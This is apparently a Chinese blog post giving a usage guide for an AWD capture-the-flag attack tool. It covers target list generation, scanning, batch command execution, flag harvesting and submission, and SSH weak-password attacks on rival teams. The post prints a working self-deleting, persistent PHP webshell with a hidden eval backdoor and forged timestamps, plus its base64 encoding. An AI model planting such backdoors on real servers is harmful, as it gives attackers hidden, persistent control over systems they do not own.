awd工具开发&使用说明

目标生成

使用场景:在目标扫描前如果没有下发靶机地址列表,则需要自己生成一份去扫描

ip段生成

使用场景:裁判给了一个C段(192.168.10.0),所有队伍的靶机都在这个C段中,具体ip需要自己发现

输入192.168.10.*(用*占位)即可在程序当前运行目录下生成一个ip.txt

1
2
3
4
5
6
7
8
9
10
11
12
192.168.10.1:8080
192.168.10.2:8080
192.168.10.3:8080
192.168.10.4:8080
192.168.10.5:8080
...
...
192.168.10.251:8080
192.168.10.252:8080
192.168.10.253:8080
192.168.10.254:8080
192.168.10.255:8080

单ip多端口生成

使用场景:某些小型比赛或训练赛,为了节约资源将所有靶机映射在同一台服务器的不同端口上

然会会在程序运行目录下生成ip.txt

1
2
3
4
5
6
7
8
9
10
11
192.168.100.103:10000
192.168.100.103:10001
192.168.100.103:10002
192.168.100.103:10003
...
...
192.168.100.103:10297
192.168.100.103:10298
192.168.100.103:10299
192.168.100.103:10300

bugku专用

使用场景:针对线上的域名生成 例如 192-168-1-X.pvp3553.bugku.cn

按以下规则输入即可,{}中表示生成的范围,以-分割

1
2
192-168-1-{1-255}.pvp3553.bugku.cn
192-168-{1-2}-{1-255}.pvp3553.bugku.cn

在当前目录下生成ip.txt

1
2
3
4
5
6
7
8
9
10
192-168-1-1.pvp3553.bugku.cn
192-168-1-2.pvp3553.bugku.cn
192-168-1-3.pvp3553.bugku.cn
192-168-1-4.pvp3553.bugku.cn
...
...
192-168-1-252.pvp3553.bugku.cn
192-168-1-253.pvp3553.bugku.cn
192-168-1-254.pvp3553.bugku.cn
192-168-1-255.pvp3553.bugku.cn

目标扫描

使用场景:自己生成靶机地址或通过平台下载后,进行特征扫描来识别题目

web靶机扫描

先打开自己的web靶机,输入网页上可以看到的特征即可

pwn靶机扫描

pwn靶机也是同理,先连上自己的看看会输出什么就填什么

注意文件中的地址不能带上http,需要是ip:port格式

写入不死马

使用场景:发现题目的默认后门或者rce点后写入不死马

默认马

在可以rce的参数后加*,多个参数用&连接

可写路径:一般默认为空,当某些靶机的web根目录不可写时需要手动指定,例如指定写入到/var/www/html/xxx/(使用绝对路径)

Get传参后门:

Post传参后门:

同时会在当前目录下生成一个shell.txt来保存记录

自定义不死马

使用场景:想写入自己自定义的不死马

当勾选这个功能后,可以自定义不死马的内容

例如一个不死马如下,密码是123456,访问的文件名是.666.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.666.php';
$code = '<?php if(md5($_GET["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["aa"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .666.php');
usleep(1);
}
?>

使用前需要base64编码一次(工具页中提供base64加解密功能)

1
PD9waHAKICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICB1bmxpbmsoX19GSUxFX18pOwogICAgJGZpbGUgPSAnLjY2Ni5waHAnOwogICAgJGNvZGUgPSAnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiKXtAZXZhbCgkX1BPU1RbImFhIl0pO30gPz4nOwogICAgd2hpbGUgKDEpewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlKTsKICAgICAgICBzeXN0ZW0oJ3RvdWNoIC1tIC1kICIyMDE4LTEyLTAxIDA5OjEwOjEyIiAuNjY2LnBocCcpOwogICAgICAgIHVzbGVlcCgxKTsKICAgIH0KPz4=

随机文件名

使用场景:防止其他队伍监控流量进行蹭车

勾选后写入的shell的文件名,密码,连接参数随机产生

会在当前目录下生成random.txt来保存shell记录

执行命令

使用场景:通过不死马或者其他漏洞点进行命令执行

一般shell执行命令

通过随机马执行命令

获取flag

使用场景:批量获取窗口中的flag

需要先通过执行cat /flagcurl获取到flag

点击获取flag按钮后,程序会自动在返回的结果中搜索包含flag{}的值并保存到flag.txt

如果flag格式并不是flag{},则可以自定义匹配的正则表达式

提交flag

使用场景:批量获取到flag后自动访问提交接口进行提交flag

flag用*占位。多个参数用&分割。注意在设置页中设置线程数,太大容易丢包

Get方式:http://192.168.100.103:4444/api/flag?token=xxxx&flag=xxxx

Post方式:

ssh

使用场景:ssh弱口令

比如裁判下发的ssh地址为x.x.x.x:2222 密码:ctf@awd,就可以知道所有队伍都是这个密码。而且有些比赛不设置防御时间,一开始就能连到其他队伍的ssh(这里就不得不提到某年的宁波市awd)

ssh扫描

扫描结果会保存在ssh.txt

ssh密码更改

多人

使用场景:离线环境下 局域网中队友的信息传递

其中一人先当客户端(需要先在设置中设置好参数)

然后点击启动服务

其余队友当客户端(同样要先在设置中设置好参数)

点击连接服务即可

多人交互效果:

自定义

使用场景:批量发送一些请求,例如批量上传文件

工具&设置

使用场景:base64,url的编码与解码,行去重与清屏

支持拖放文件

更新日志

V1.0.0:初始版本
V1.1.0:多种扫描方式,代码逻辑优化
V1.2.0:添加随机不死马功能,修复诺干bug

V2.1.0:70%代码重构,速度较上一代提升11倍。添加ssh和设置模块
V2.1.1:优化不死马的判断逻辑
V2.2.0:加入多人交互功能
V2.2.1:修复诺干bug
V2.2.2:更新ui,加入自定义请求包功能
V2.2.3:增加全局超时设置,区分代码执行与命令执行,适应tp框架路径

V3.0.0:增加一机一码,增加错误日志,优化写入不死马/执行命令逻辑

可能将要做的:
1:加入pwn的批量攻击
2:不止php(加入java)


awd工具开发&使用说明
https://www.dr0n.top/posts/48fe3a65/
作者
dr0n
发布于
2023年12月7日
更新于
2024年6月9日
许可协议